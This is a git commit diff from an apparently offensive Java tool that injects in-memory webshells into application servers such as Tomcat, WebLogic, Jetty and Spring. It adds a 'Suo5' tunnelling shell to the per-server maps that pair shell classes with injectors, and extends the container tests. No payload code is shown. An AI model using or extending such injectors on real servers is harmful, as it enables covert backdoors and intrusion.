feat: support other middleware suo5 shell

This commit is contained in:
ReaJason
2025-02-15 13:50:04 +08:00
parent 98f44cad3b
commit 142a9e2c47
74 changed files with 8023 additions and 20 deletions
@@ -7,6 +7,7 @@ import org.apache.commons.lang3.tuple.Pair;
import java.util.Collections;
import java.util.List;
import java.util.Map;
import java.util.stream.Collectors;
/**
* @author ReaJason
@@ -24,6 +25,7 @@ public abstract class AbstractShell {
case Godzilla -> getGodzillaShellMap().keySet().stream().toList();
case Command -> getCommandShellMap().keySet().stream().toList();
case Behinder -> getBehinderShellMap().keySet().stream().toList();
case Suo5 -> getSuo5ShellMap().keySet().stream().toList();
default -> Collections.emptyList();
};
}
@@ -6,12 +6,15 @@ import com.reajason.javaweb.memshell.apusic.godzilla.GodzillaListener;
import com.reajason.javaweb.memshell.apusic.injector.ApusicFilterInjector;
import com.reajason.javaweb.memshell.apusic.injector.ApusicListenerInjector;
import com.reajason.javaweb.memshell.apusic.injector.ApusicServletInjector;
import com.reajason.javaweb.memshell.apusic.suo5.Suo5Listener;
import com.reajason.javaweb.memshell.shelltool.behinder.BehinderFilter;
import com.reajason.javaweb.memshell.shelltool.behinder.BehinderServlet;
import com.reajason.javaweb.memshell.shelltool.command.CommandFilter;
import com.reajason.javaweb.memshell.shelltool.command.CommandServlet;
import com.reajason.javaweb.memshell.shelltool.godzilla.GodzillaFilter;
import com.reajason.javaweb.memshell.shelltool.godzilla.GodzillaServlet;
import com.reajason.javaweb.memshell.shelltool.suo5.Suo5Filter;
import com.reajason.javaweb.memshell.shelltool.suo5.Suo5Servlet;
import org.apache.commons.lang3.tuple.Pair;
import java.util.LinkedHashMap;
@@ -50,4 +53,13 @@ public class ApusicShell extends AbstractShell {
map.put(LISTENER, Pair.of(BehinderListener.class, ApusicListenerInjector.class));
return map;
}
@Override
protected Map<String, Pair<Class<?>, Class<?>>> getSuo5ShellMap() {
Map<String, Pair<Class<?>, Class<?>>> map = new LinkedHashMap<>();
map.put(SERVLET, Pair.of(Suo5Servlet.class, ApusicServletInjector.class));
map.put(FILTER, Pair.of(Suo5Filter.class, ApusicFilterInjector.class));
map.put(LISTENER, Pair.of(Suo5Listener.class, ApusicListenerInjector.class));
return map;
}
}
@@ -4,15 +4,18 @@ import com.reajason.javaweb.memshell.bes.behinder.BehinderValve;
import com.reajason.javaweb.memshell.bes.command.CommandValve;
import com.reajason.javaweb.memshell.bes.godzilla.GodzillaValve;
import com.reajason.javaweb.memshell.bes.injector.*;
import com.reajason.javaweb.memshell.bes.suo5.Suo5Valve;
import com.reajason.javaweb.memshell.shelltool.behinder.BehinderFilter;
import com.reajason.javaweb.memshell.shelltool.behinder.BehinderFilterChainAdvisor;
import com.reajason.javaweb.memshell.shelltool.command.CommandFilter;
import com.reajason.javaweb.memshell.shelltool.command.CommandFilterChainAdvisor;
import com.reajason.javaweb.memshell.shelltool.godzilla.GodzillaFilter;
import com.reajason.javaweb.memshell.shelltool.godzilla.GodzillaFilterChainAdvisor;
import com.reajason.javaweb.memshell.shelltool.suo5.Suo5Filter;
import com.reajason.javaweb.memshell.tomcat.behinder.BehinderListener;
import com.reajason.javaweb.memshell.tomcat.command.CommandListener;
import com.reajason.javaweb.memshell.tomcat.godzilla.GodzillaListener;
import com.reajason.javaweb.memshell.tomcat.suo5.Suo5Listener;
import org.apache.commons.lang3.tuple.Pair;
import java.util.LinkedHashMap;
@@ -58,4 +61,13 @@ public class BesShell extends AbstractShell {
map.put(AGENT_CONTEXT_VALVE, Pair.of(BehinderFilterChainAdvisor.class, BesContextValveAgentInjector.class));
return map;
}
@Override
protected Map<String, Pair<Class<?>, Class<?>>> getSuo5ShellMap() {
Map<String, Pair<Class<?>, Class<?>>> map = new LinkedHashMap<>();
map.put(FILTER, Pair.of(Suo5Filter.class, BesFilterInjector.class));
map.put(LISTENER, Pair.of(Suo5Listener.class, BesListenerInjector.class));
map.put(VALVE, Pair.of(Suo5Valve.class, BesValveInjector.class));
return map;
}
}
@@ -6,6 +6,7 @@ import com.reajason.javaweb.memshell.glassfish.godzilla.GodzillaListener;
import com.reajason.javaweb.memshell.glassfish.injector.GlassFishFilterInjector;
import com.reajason.javaweb.memshell.glassfish.injector.GlassFishListenerInjector;
import com.reajason.javaweb.memshell.glassfish.injector.GlassFishValveInjector;
import com.reajason.javaweb.memshell.glassfish.suo5.Suo5Listener;
import com.reajason.javaweb.memshell.shelltool.behinder.BehinderFilter;
import com.reajason.javaweb.memshell.shelltool.behinder.BehinderFilterChainAdvisor;
import com.reajason.javaweb.memshell.shelltool.behinder.BehinderValve;
@@ -15,6 +16,8 @@ import com.reajason.javaweb.memshell.shelltool.command.CommandValve;
import com.reajason.javaweb.memshell.shelltool.godzilla.GodzillaFilter;
import com.reajason.javaweb.memshell.shelltool.godzilla.GodzillaFilterChainAdvisor;
import com.reajason.javaweb.memshell.shelltool.godzilla.GodzillaValve;
import com.reajason.javaweb.memshell.shelltool.suo5.Suo5Filter;
import com.reajason.javaweb.memshell.shelltool.suo5.Suo5Valve;
import com.reajason.javaweb.memshell.tomcat.injector.TomcatContextValveAgentInjector;
import com.reajason.javaweb.memshell.tomcat.injector.TomcatFilterChainAgentInjector;
import org.apache.commons.lang3.tuple.Pair;
@@ -71,4 +74,16 @@ public class GlassFishShell extends AbstractShell {
map.put(AGENT_CONTEXT_VALVE, Pair.of(BehinderFilterChainAdvisor.class, TomcatContextValveAgentInjector.class));
return map;
}
@Override
protected Map<String, Pair<Class<?>, Class<?>>> getSuo5ShellMap() {
Map<String, Pair<Class<?>, Class<?>>> map = new LinkedHashMap<>();
map.put(FILTER, Pair.of(Suo5Filter.class, GlassFishFilterInjector.class));
map.put(JAKARTA_FILTER, Pair.of(Suo5Filter.class, GlassFishFilterInjector.class));
map.put(LISTENER, Pair.of(Suo5Listener.class, GlassFishListenerInjector.class));
map.put(JAKARTA_LISTENER, Pair.of(Suo5Listener.class, GlassFishListenerInjector.class));
map.put(VALVE, Pair.of(Suo5Valve.class, GlassFishValveInjector.class));
map.put(JAKARTA_VALVE, Pair.of(Suo5Valve.class, GlassFishValveInjector.class));
return map;
}
}
@@ -12,11 +12,14 @@ import com.reajason.javaweb.memshell.shelltool.command.CommandValve;
import com.reajason.javaweb.memshell.shelltool.godzilla.GodzillaFilter;
import com.reajason.javaweb.memshell.shelltool.godzilla.GodzillaFilterChainAdvisor;
import com.reajason.javaweb.memshell.shelltool.godzilla.GodzillaValve;
import com.reajason.javaweb.memshell.shelltool.suo5.Suo5Filter;
import com.reajason.javaweb.memshell.shelltool.suo5.Suo5Valve;
import com.reajason.javaweb.memshell.tomcat.behinder.BehinderListener;
import com.reajason.javaweb.memshell.tomcat.command.CommandListener;
import com.reajason.javaweb.memshell.tomcat.godzilla.GodzillaListener;
import com.reajason.javaweb.memshell.tomcat.injector.TomcatContextValveAgentInjector;
import com.reajason.javaweb.memshell.tomcat.injector.TomcatFilterChainAgentInjector;
import com.reajason.javaweb.memshell.tomcat.suo5.Suo5Listener;
import org.apache.commons.lang3.tuple.Pair;
import java.util.LinkedHashMap;
@@ -71,4 +74,16 @@ public class InforSuiteShell extends AbstractShell {
map.put(AGENT_CONTEXT_VALVE, Pair.of(BehinderFilterChainAdvisor.class, TomcatContextValveAgentInjector.class));
return map;
}
@Override
protected Map<String, Pair<Class<?>, Class<?>>> getSuo5ShellMap() {
Map<String, Pair<Class<?>, Class<?>>> map = new LinkedHashMap<>();
map.put(FILTER, Pair.of(Suo5Filter.class, InforSuiteFilterInjector.class));
map.put(JAKARTA_FILTER, Pair.of(Suo5Filter.class, InforSuiteFilterInjector.class));
map.put(LISTENER, Pair.of(Suo5Listener.class, GlassFishListenerInjector.class));
map.put(JAKARTA_LISTENER, Pair.of(Suo5Listener.class, GlassFishListenerInjector.class));
map.put(VALVE, Pair.of(Suo5Valve.class, GlassFishValveInjector.class));
map.put(JAKARTA_VALVE, Pair.of(Suo5Valve.class, GlassFishValveInjector.class));
return map;
}
}
@@ -12,11 +12,14 @@ import com.reajason.javaweb.memshell.shelltool.command.CommandValve;
import com.reajason.javaweb.memshell.shelltool.godzilla.GodzillaFilter;
import com.reajason.javaweb.memshell.shelltool.godzilla.GodzillaFilterChainAdvisor;
import com.reajason.javaweb.memshell.shelltool.godzilla.GodzillaValve;
import com.reajason.javaweb.memshell.shelltool.suo5.Suo5Filter;
import com.reajason.javaweb.memshell.shelltool.suo5.Suo5Valve;
import com.reajason.javaweb.memshell.tomcat.behinder.BehinderListener;
import com.reajason.javaweb.memshell.tomcat.command.CommandListener;
import com.reajason.javaweb.memshell.tomcat.godzilla.GodzillaListener;
import com.reajason.javaweb.memshell.tomcat.injector.TomcatContextValveAgentInjector;
import com.reajason.javaweb.memshell.tomcat.injector.TomcatFilterChainAgentInjector;
import com.reajason.javaweb.memshell.tomcat.suo5.Suo5Listener;
import org.apache.commons.lang3.tuple.Pair;
import java.util.LinkedHashMap;
@@ -62,4 +65,13 @@ public class JbossShell extends AbstractShell {
map.put(AGENT_CONTEXT_VALVE, Pair.of(BehinderFilterChainAdvisor.class, TomcatContextValveAgentInjector.class));
return map;
}
@Override
protected Map<String, Pair<Class<?>, Class<?>>> getSuo5ShellMap() {
Map<String, Pair<Class<?>, Class<?>>> map = new LinkedHashMap<>();
map.put(FILTER, Pair.of(Suo5Filter.class, JbossFilterInjector.class));
map.put(LISTENER, Pair.of(Suo5Listener.class, JbossListenerInjector.class));
map.put(VALVE, Pair.of(Suo5Valve.class, JbossValveInjector.class));
return map;
}
}
@@ -10,12 +10,15 @@ import com.reajason.javaweb.memshell.jetty.injector.JettyFilterInjector;
import com.reajason.javaweb.memshell.jetty.injector.JettyHandlerAgentInjector;
import com.reajason.javaweb.memshell.jetty.injector.JettyListenerInjector;
import com.reajason.javaweb.memshell.jetty.injector.JettyServletInjector;
import com.reajason.javaweb.memshell.jetty.suo5.Suo5Listener;
import com.reajason.javaweb.memshell.shelltool.behinder.BehinderFilter;
import com.reajason.javaweb.memshell.shelltool.behinder.BehinderServlet;
import com.reajason.javaweb.memshell.shelltool.command.CommandFilter;
import com.reajason.javaweb.memshell.shelltool.command.CommandServlet;
import com.reajason.javaweb.memshell.shelltool.godzilla.GodzillaFilter;
import com.reajason.javaweb.memshell.shelltool.godzilla.GodzillaServlet;
import com.reajason.javaweb.memshell.shelltool.suo5.Suo5Filter;
import com.reajason.javaweb.memshell.shelltool.suo5.Suo5Servlet;
import org.apache.commons.lang3.tuple.Pair;
import java.util.LinkedHashMap;
@@ -68,4 +71,16 @@ public class JettyShell extends AbstractShell {
map.put(AGENT_HANDLER, Pair.of(BehinderHandlerAdvisor.class, JettyHandlerAgentInjector.class));
return map;
}
@Override
protected Map<String, Pair<Class<?>, Class<?>>> getSuo5ShellMap() {
Map<String, Pair<Class<?>, Class<?>>> map = new LinkedHashMap<>();
map.put(SERVLET, Pair.of(Suo5Servlet.class, JettyServletInjector.class));
map.put(JAKARTA_SERVLET, Pair.of(Suo5Servlet.class, JettyServletInjector.class));
map.put(FILTER, Pair.of(Suo5Filter.class, JettyFilterInjector.class));
map.put(JAKARTA_FILTER, Pair.of(Suo5Filter.class, JettyFilterInjector.class));
map.put(LISTENER, Pair.of(Suo5Listener.class, JettyListenerInjector.class));
map.put(JAKARTA_LISTENER, Pair.of(Suo5Listener.class, JettyListenerInjector.class));
return map;
}
}
@@ -7,6 +7,7 @@ import com.reajason.javaweb.memshell.resin.injector.ResinFilterChainAgentInjecto
import com.reajason.javaweb.memshell.resin.injector.ResinFilterInjector;
import com.reajason.javaweb.memshell.resin.injector.ResinListenerInjector;
import com.reajason.javaweb.memshell.resin.injector.ResinServletInjector;
import com.reajason.javaweb.memshell.resin.suo5.Suo5Listener;
import com.reajason.javaweb.memshell.shelltool.behinder.BehinderFilter;
import com.reajason.javaweb.memshell.shelltool.behinder.BehinderFilterChainAdvisor;
import com.reajason.javaweb.memshell.shelltool.behinder.BehinderServlet;
@@ -16,6 +17,8 @@ import com.reajason.javaweb.memshell.shelltool.command.CommandServlet;
import com.reajason.javaweb.memshell.shelltool.godzilla.GodzillaFilter;
import com.reajason.javaweb.memshell.shelltool.godzilla.GodzillaFilterChainAdvisor;
import com.reajason.javaweb.memshell.shelltool.godzilla.GodzillaServlet;
import com.reajason.javaweb.memshell.shelltool.suo5.Suo5Filter;
import com.reajason.javaweb.memshell.shelltool.suo5.Suo5Servlet;
import org.apache.commons.lang3.tuple.Pair;
import java.util.LinkedHashMap;
@@ -59,4 +62,13 @@ public class ResinShell extends AbstractShell {
map.put(AGENT_FILTER_CHAIN, Pair.of(BehinderFilterChainAdvisor.class, ResinFilterChainAgentInjector.class));
return map;
}
@Override
protected Map<String, Pair<Class<?>, Class<?>>> getSuo5ShellMap() {
Map<String, Pair<Class<?>, Class<?>>> map = new LinkedHashMap<>();
map.put(SERVLET, Pair.of(Suo5Servlet.class, ResinServletInjector.class));
map.put(FILTER, Pair.of(Suo5Filter.class, ResinFilterInjector.class));
map.put(LISTENER, Pair.of(Suo5Listener.class, ResinListenerInjector.class));
return map;
}
}
@@ -12,6 +12,7 @@ import com.reajason.javaweb.memshell.springwebflux.injector.SpringWebFluxHandler
import com.reajason.javaweb.memshell.springwebflux.injector.SpringWebFluxHandlerMethodInjector;
import com.reajason.javaweb.memshell.springwebflux.injector.SpringWebFluxNettyHandlerInjector;
import com.reajason.javaweb.memshell.springwebflux.injector.SpringWebFluxWebFilterInjector;
import com.reajason.javaweb.memshell.springwebflux.suo5.Suo5WebFilter;
import org.apache.commons.lang3.tuple.Pair;
import java.util.LinkedHashMap;
@@ -46,4 +47,11 @@ public class SpringWebFluxShell extends AbstractShell {
map.put(NETTY_HANDLER, Pair.of(GodzillaNettyHandler.class, SpringWebFluxNettyHandlerInjector.class));
return map;
}
@Override
protected Map<String, Pair<Class<?>, Class<?>>> getSuo5ShellMap() {
Map<String, Pair<Class<?>, Class<?>>> map = new LinkedHashMap<>();
map.put(WEB_FILTER, Pair.of(Suo5WebFilter.class, SpringWebFluxWebFilterInjector.class));
return map;
}
}
@@ -12,6 +12,8 @@ import com.reajason.javaweb.memshell.springwebmvc.godzilla.GodzillaServletAdviso
import com.reajason.javaweb.memshell.springwebmvc.injector.SpringWebMvcControllerHandlerInjector;
import com.reajason.javaweb.memshell.springwebmvc.injector.SpringWebMvcFrameworkServletAgentInjector;
import com.reajason.javaweb.memshell.springwebmvc.injector.SpringWebMvcInterceptorInjector;
import com.reajason.javaweb.memshell.springwebmvc.suo5.Suo5ControllerHandler;
import com.reajason.javaweb.memshell.springwebmvc.suo5.Suo5Interceptor;
import org.apache.commons.lang3.tuple.Pair;
import java.util.LinkedHashMap;
@@ -60,4 +62,14 @@ public class SpringWebMvcShell extends AbstractShell {
map.put(AGENT_FRAMEWORK_SERVLET, Pair.of(GodzillaServletAdvisor.class, SpringWebMvcFrameworkServletAgentInjector.class));
return map;
}
@Override
protected Map<String, Pair<Class<?>, Class<?>>> getSuo5ShellMap() {
Map<String, Pair<Class<?>, Class<?>>> map = new LinkedHashMap<>();
map.put(INTERCEPTOR, Pair.of(Suo5Interceptor.class, SpringWebMvcInterceptorInjector.class));
map.put(JAKARTA_INTERCEPTOR, Pair.of(Suo5Interceptor.class, SpringWebMvcInterceptorInjector.class));
map.put(CONTROLLER_HANDLER, Pair.of(Suo5ControllerHandler.class, SpringWebMvcControllerHandlerInjector.class));
map.put(JAKARTA_CONTROLLER_HANDLER, Pair.of(Suo5ControllerHandler.class, SpringWebMvcControllerHandlerInjector.class));
return map;
}
}
@@ -6,13 +6,16 @@ import com.reajason.javaweb.memshell.shelltool.command.CommandFilter;
import com.reajason.javaweb.memshell.shelltool.command.CommandFilterChainAdvisor;
import com.reajason.javaweb.memshell.shelltool.godzilla.GodzillaFilter;
import com.reajason.javaweb.memshell.shelltool.godzilla.GodzillaFilterChainAdvisor;
import com.reajason.javaweb.memshell.shelltool.suo5.Suo5Filter;
import com.reajason.javaweb.memshell.tomcat.behinder.BehinderListener;
import com.reajason.javaweb.memshell.tomcat.command.CommandListener;
import com.reajason.javaweb.memshell.tomcat.godzilla.GodzillaListener;
import com.reajason.javaweb.memshell.tomcat.suo5.Suo5Listener;
import com.reajason.javaweb.memshell.tongweb.behinder.BehinderValve6;
import com.reajason.javaweb.memshell.tongweb.command.CommandValve6;
import com.reajason.javaweb.memshell.tongweb.godzilla.GodzillaValve6;
import com.reajason.javaweb.memshell.tongweb.injector.*;
import com.reajason.javaweb.memshell.tongweb.suo5.Suo5Valve6;
import org.apache.commons.lang3.tuple.Pair;
import java.util.LinkedHashMap;
@@ -67,4 +70,16 @@ public class TongWeb6Shell extends AbstractShell {
map.put(AGENT_CONTEXT_VALVE, Pair.of(BehinderFilterChainAdvisor.class, TongWebContextValveAgentInjector.class));
return map;
}
@Override
protected Map<String, Pair<Class<?>, Class<?>>> getSuo5ShellMap() {
Map<String, Pair<Class<?>, Class<?>>> map = new LinkedHashMap<>();
map.put(FILTER, Pair.of(Suo5Filter.class, TongWebFilterInjector.class));
map.put(JAKARTA_FILTER, Pair.of(Suo5Filter.class, TongWebFilterInjector.class));
map.put(LISTENER, Pair.of(Suo5Listener.class, TongWebListenerInjector.class));
map.put(JAKARTA_LISTENER, Pair.of(Suo5Listener.class, TongWebListenerInjector.class));
map.put(VALVE, Pair.of(Suo5Valve6.class, TongWebValveInjector.class));
map.put(JAKARTA_VALVE, Pair.of(Suo5Valve6.class, TongWebValveInjector.class));
return map;
}
}
@@ -6,13 +6,16 @@ import com.reajason.javaweb.memshell.shelltool.command.CommandFilter;
import com.reajason.javaweb.memshell.shelltool.command.CommandFilterChainAdvisor;
import com.reajason.javaweb.memshell.shelltool.godzilla.GodzillaFilter;
import com.reajason.javaweb.memshell.shelltool.godzilla.GodzillaFilterChainAdvisor;
import com.reajason.javaweb.memshell.shelltool.suo5.Suo5Filter;
import com.reajason.javaweb.memshell.tomcat.behinder.BehinderListener;
import com.reajason.javaweb.memshell.tomcat.command.CommandListener;
import com.reajason.javaweb.memshell.tomcat.godzilla.GodzillaListener;
import com.reajason.javaweb.memshell.tomcat.suo5.Suo5Listener;
import com.reajason.javaweb.memshell.tongweb.behinder.BehinderValve7;
import com.reajason.javaweb.memshell.tongweb.command.CommandValve7;
import com.reajason.javaweb.memshell.tongweb.godzilla.GodzillaValve7;
import com.reajason.javaweb.memshell.tongweb.injector.*;
import com.reajason.javaweb.memshell.tongweb.suo5.Suo5Valve7;
import org.apache.commons.lang3.tuple.Pair;
import java.util.LinkedHashMap;
@@ -67,4 +70,16 @@ public class TongWeb7Shell extends AbstractShell {
map.put(AGENT_CONTEXT_VALVE, Pair.of(BehinderFilterChainAdvisor.class, TongWebContextValveAgentInjector.class));
return map;
}
@Override
protected Map<String, Pair<Class<?>, Class<?>>> getSuo5ShellMap() {
Map<String, Pair<Class<?>, Class<?>>> map = new LinkedHashMap<>();
map.put(FILTER, Pair.of(Suo5Filter.class, TongWebFilterInjector.class));
map.put(JAKARTA_FILTER, Pair.of(Suo5Filter.class, TongWebFilterInjector.class));
map.put(LISTENER, Pair.of(Suo5Listener.class, TongWebListenerInjector.class));
map.put(JAKARTA_LISTENER, Pair.of(Suo5Listener.class, TongWebListenerInjector.class));
map.put(VALVE, Pair.of(Suo5Valve7.class, TongWebValveInjector.class));
map.put(JAKARTA_VALVE, Pair.of(Suo5Valve7.class, TongWebValveInjector.class));
return map;
}
}
@@ -6,6 +6,8 @@ import com.reajason.javaweb.memshell.shelltool.command.CommandFilter;
import com.reajason.javaweb.memshell.shelltool.command.CommandServlet;
import com.reajason.javaweb.memshell.shelltool.godzilla.GodzillaFilter;
import com.reajason.javaweb.memshell.shelltool.godzilla.GodzillaServlet;
import com.reajason.javaweb.memshell.shelltool.suo5.Suo5Filter;
import com.reajason.javaweb.memshell.shelltool.suo5.Suo5Servlet;
import com.reajason.javaweb.memshell.undertow.behinder.BehinderListener;
import com.reajason.javaweb.memshell.undertow.behinder.BehinderServletInitialHandlerAdvisor;
import com.reajason.javaweb.memshell.undertow.command.CommandListener;
@@ -16,6 +18,7 @@ import com.reajason.javaweb.memshell.undertow.injector.UndertowFilterInjector;
import com.reajason.javaweb.memshell.undertow.injector.UndertowListenerInjector;
import com.reajason.javaweb.memshell.undertow.injector.UndertowServletInitialHandlerAgentInjector;
import com.reajason.javaweb.memshell.undertow.injector.UndertowServletInjector;
import com.reajason.javaweb.memshell.undertow.suo5.Suo5Listener;
import org.apache.commons.lang3.tuple.Pair;
import java.util.LinkedHashMap;
@@ -68,4 +71,16 @@ public class UndertowShell extends AbstractShell {
map.put(AGENT_SERVLET_HANDLER, Pair.of(BehinderServletInitialHandlerAdvisor.class, UndertowServletInitialHandlerAgentInjector.class));
return map;
}
@Override
protected Map<String, Pair<Class<?>, Class<?>>> getSuo5ShellMap() {
Map<String, Pair<Class<?>, Class<?>>> map = new LinkedHashMap<>();
map.put(SERVLET, Pair.of(Suo5Servlet.class, UndertowServletInjector.class));
map.put(JAKARTA_SERVLET, Pair.of(Suo5Servlet.class, UndertowServletInjector.class));
map.put(FILTER, Pair.of(Suo5Filter.class, UndertowFilterInjector.class));
map.put(JAKARTA_FILTER, Pair.of(Suo5Filter.class, UndertowFilterInjector.class));
map.put(LISTENER, Pair.of(Suo5Listener.class, UndertowListenerInjector.class));
map.put(JAKARTA_LISTENER, Pair.of(Suo5Listener.class, UndertowListenerInjector.class));
return map;
}
}
@@ -9,6 +9,8 @@ import com.reajason.javaweb.memshell.shelltool.command.CommandServlet;
import com.reajason.javaweb.memshell.shelltool.godzilla.GodzillaFilter;
import com.reajason.javaweb.memshell.shelltool.godzilla.GodzillaFilterChainAdvisor;
import com.reajason.javaweb.memshell.shelltool.godzilla.GodzillaServlet;
import com.reajason.javaweb.memshell.shelltool.suo5.Suo5Filter;
import com.reajason.javaweb.memshell.shelltool.suo5.Suo5Servlet;
import com.reajason.javaweb.memshell.weblogic.behinder.BehinderListener;
import com.reajason.javaweb.memshell.weblogic.command.CommandListener;
import com.reajason.javaweb.memshell.weblogic.godzilla.GodzillaListener;
@@ -16,6 +18,7 @@ import com.reajason.javaweb.memshell.weblogic.injector.WebLogicFilterInjector;
import com.reajason.javaweb.memshell.weblogic.injector.WebLogicListenerInjector;
import com.reajason.javaweb.memshell.weblogic.injector.WebLogicServletContextAgentInjector;
import com.reajason.javaweb.memshell.weblogic.injector.WebLogicServletInjector;
import com.reajason.javaweb.memshell.weblogic.suo5.Suo5Listener;
import org.apache.commons.lang3.tuple.Pair;
import java.util.LinkedHashMap;
@@ -59,4 +62,13 @@ public class WebLogicShell extends AbstractShell {
map.put(AGENT_SERVLET_CONTEXT, Pair.of(GodzillaFilterChainAdvisor.class, WebLogicServletContextAgentInjector.class));
return map;
}
@Override
protected Map<String, Pair<Class<?>, Class<?>>> getSuo5ShellMap() {
Map<String, Pair<Class<?>, Class<?>>> map = new LinkedHashMap<>();
map.put(SERVLET, Pair.of(Suo5Servlet.class, WebLogicServletInjector.class));
map.put(FILTER, Pair.of(Suo5Filter.class, WebLogicFilterInjector.class));
map.put(LISTENER, Pair.of(Suo5Listener.class, WebLogicListenerInjector.class));
return map;
}
}
@@ -9,6 +9,8 @@ import com.reajason.javaweb.memshell.shelltool.command.CommandServlet;
import com.reajason.javaweb.memshell.shelltool.godzilla.GodzillaFilter;
import com.reajason.javaweb.memshell.shelltool.godzilla.GodzillaFilterChainAdvisor;
import com.reajason.javaweb.memshell.shelltool.godzilla.GodzillaServlet;
import com.reajason.javaweb.memshell.shelltool.suo5.Suo5Filter;
import com.reajason.javaweb.memshell.shelltool.suo5.Suo5Servlet;
import com.reajason.javaweb.memshell.websphere.behinder.BehinderListener;
import com.reajason.javaweb.memshell.websphere.command.CommandListener;
import com.reajason.javaweb.memshell.websphere.godzilla.GodzillaListener;
@@ -16,6 +18,7 @@ import com.reajason.javaweb.memshell.websphere.injector.WebSphereFilterChainAgen
import com.reajason.javaweb.memshell.websphere.injector.WebSphereFilterInjector;
import com.reajason.javaweb.memshell.websphere.injector.WebSphereListenerInjector;
import com.reajason.javaweb.memshell.websphere.injector.WebSphereServletInjector;
import com.reajason.javaweb.memshell.websphere.suo5.Suo5Listener;
import org.apache.commons.lang3.tuple.Pair;
import java.util.LinkedHashMap;
@@ -59,4 +62,13 @@ public class WebSphereShell extends AbstractShell {
map.put(AGENT_FILTER_MANAGER, Pair.of(BehinderFilterChainAdvisor.class, WebSphereFilterChainAgentInjector.class));
return map;
}
@Override
protected Map<String, Pair<Class<?>, Class<?>>> getSuo5ShellMap() {
Map<String, Pair<Class<?>, Class<?>>> map = new LinkedHashMap<>();
map.put(SERVLET, Pair.of(Suo5Servlet.class, WebSphereServletInjector.class));
map.put(FILTER, Pair.of(Suo5Filter.class, WebSphereFilterInjector.class));
map.put(LISTENER, Pair.of(Suo5Listener.class, WebSphereListenerInjector.class));
return map;
}
}
@@ -33,9 +33,8 @@ public class ContainerTool {
public static final MountableFile springbootPid = MountableFile.forHostPath(Path.of("script/springboot_pid.sh"));
public static String getUrl(GenericContainer<?> container) {
String host = container.getHost();
int port = container.getMappedPort(8080);
String url = "http://" + host + ":" + port + "/app";
String url = "http://127.0.0.1:" + port + "/app";
log.info("container started, app url is : {}", url);
return url;
}
@@ -55,18 +55,24 @@ public class GlassFish3ContainerTest {
arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.Deserialize),
arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.JSP),
arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.Deserialize),
arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.JSP),
arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.Deserialize),
arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.JSP),
arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.Deserialize),
arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.JSP),
arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.Deserialize),
arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.JSP),
arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.Deserialize),
arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.JSP),
arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.Deserialize),
arguments(imageName, Constants.VALVE, ShellTool.Behinder, Packers.JSP),
arguments(imageName, Constants.VALVE, ShellTool.Behinder, Packers.Deserialize),
arguments(imageName, Constants.VALVE, ShellTool.Godzilla, Packers.JSP),
arguments(imageName, Constants.VALVE, ShellTool.Godzilla, Packers.Deserialize),
arguments(imageName, Constants.VALVE, ShellTool.Command, Packers.JSP),
arguments(imageName, Constants.VALVE, ShellTool.Command, Packers.Deserialize),
arguments(imageName, Constants.VALVE, ShellTool.Suo5, Packers.JSP),
arguments(imageName, Constants.VALVE, ShellTool.Suo5, Packers.Deserialize),
arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Command, Packers.AgentJar),
// arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Godzilla, Packer.INSTANCE.AgentJar), // classFormatError
arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Behinder, Packers.AgentJar),
@@ -56,18 +56,24 @@ public class GlassFish4ContainerTest {
arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.Deserialize),
arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.JSP),
arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.Deserialize),
arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.JSP),
arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.Deserialize),
arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.JSP),
arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.Deserialize),
arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.JSP),
arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.Deserialize),
arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.JSP),
arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.Deserialize),
arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.JSP),
arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.Deserialize),
arguments(imageName, Constants.VALVE, ShellTool.Behinder, Packers.JSP),
arguments(imageName, Constants.VALVE, ShellTool.Behinder, Packers.Deserialize),
arguments(imageName, Constants.VALVE, ShellTool.Godzilla, Packers.JSP),
arguments(imageName, Constants.VALVE, ShellTool.Godzilla, Packers.Deserialize),
arguments(imageName, Constants.VALVE, ShellTool.Command, Packers.JSP),
arguments(imageName, Constants.VALVE, ShellTool.Command, Packers.Deserialize),
arguments(imageName, Constants.VALVE, ShellTool.Suo5, Packers.JSP),
arguments(imageName, Constants.VALVE, ShellTool.Suo5, Packers.Deserialize),
arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Command, Packers.AgentJar),
arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Godzilla, Packers.AgentJar),
arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Behinder, Packers.AgentJar),
@@ -48,18 +48,24 @@ public class GlassFish501ContainerTest {
arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.Deserialize),
arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.JSP),
arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.Deserialize),
arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.JSP),
arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.Deserialize),
arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.JSP),
